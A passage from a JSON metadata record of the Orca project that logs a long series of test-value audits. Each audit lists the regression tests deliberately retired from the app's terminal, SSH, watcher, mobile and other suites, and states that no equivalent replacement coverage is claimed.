cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n          \"assertions\": [\n            \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n            \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n            \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n          ]\n        } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1516 removes package-electron-runtime-contract.test.mjs, a copied release-workflow platform and marker matrix. Its workflow wiring alarm is intentionally retired; no actual packaged watcher delivery was exercised and no equivalent replacement is claimed. Unaffected dated execution receipts retain their original scope; changed optional selectors have no fresh full-gate execution result. This audit removes the paired-web stopped-during-outage and late-ready direct-branch examples. The retained pre-ready cancellation, failed-unwatch retry and replay-continuity cases are not equivalent replacements for those ordering alarms. Current web-runtime-client.test.ts assertions below name only its retained pre-ready callback case; replay cases remain in their separate suite. Historical commands and results remain historical. Deterministic tests cover one shared healthy child per runtime process plus at most four bounded fault-quarantine children, native desktop, paired-runtime, and WSL snapshot processes sharing the same eight-physical-child reservation with typed serialized event-driven capacity recovery, including recursive re-wait when crash recovery reclaims an announced slot, one quarantine attempt per watch lifetime, generation-scoped cancellation, bounded termination with removable deadline waiters, replacement-crawl errors that cannot be blessed by a late readiness ack, pre-ready paired-web cancellation registered before an unbounded capacity wait, already-resolved and late physical-exit retry of a rejected paired-web teardown, physical desktop-install and local/SSH PTY teardown, stale-generation rejection, per-child stat bounds, final-overflow RPC delivery, and renderer eviction before terminal callbacks can retry. Destructive local and SSH removal fences both ID-derived and resolved-cwd terminal roots, including sibling-root/cwd combinations with reverse admission rollback, closes descendant relay watches before parent deletion, enumerates authoritative provider/cwd ownership, falls back to daemon spawn cwd before OSC 7, and keeps daemon/relay immediate shutdown pending until native exit or a bounded fail-closed error; a dead relay PID discovered during attach also settles concurrent shutdown before its stale entry is reaped, while Windows runtime watcher deadlines retain one removable physical-close waiter, treat Node's error-close path as positive physical-exit proof, and clear root ownership on late close. The relay policy test maps a standard repository's base, Git common directory, and worktree roots to one healthy supervisor, then proves a shared-child failure recovers those roots in separate quarantine supervisors with overflow and resumed events. Abortable capacity, quarantine, runtime-root, relay, SSH, and relay pre-install setup waits attach one reaction to each shared promise and explicitly remove 10,000 cancelled caller closures while one anchor remains. Built-entry macOS harnesses kill the desktop/runtime and SSH relay watcher children, then require automatic resubscription and later events while the host process and relay PTY survive. SSH bundles the child boundary beside relay.js, requires both artifacts for install completeness, and preserves registration-owned same-root cancellation. The test-value audit corrects the active renderer watch command/file reference to the existing runtime-file-client-watch.test.ts, whose three cases are retained unchanged. They observe synthetic subscription retry/fanout and unsubscribe/unwatch calls, not actual preload/main bookkeeping or physical watcher-process cleanup. The separate read/preview client suite loses forwarding, supplied-error and negative-only examples, retaining binary detection and Unicode SVG decoding. Historical evidence commands/results are unchanged. Test-value audit1293 removes src/main/providers/local-pty/local-pty-provider-session-inventory.test.ts (2 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/workspaces/removal/watcher-removal-gate.test.ts reduced. Loses exact removal-error compatibility with renderer predicate under shared message constants. Kept public refusal outcomes do not establish that renderer classification. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/5308",
         "https://github.com/stablyai/orca/issues/7547",
         "https://github.com/stablyai/orca/issues/8212"
       ],
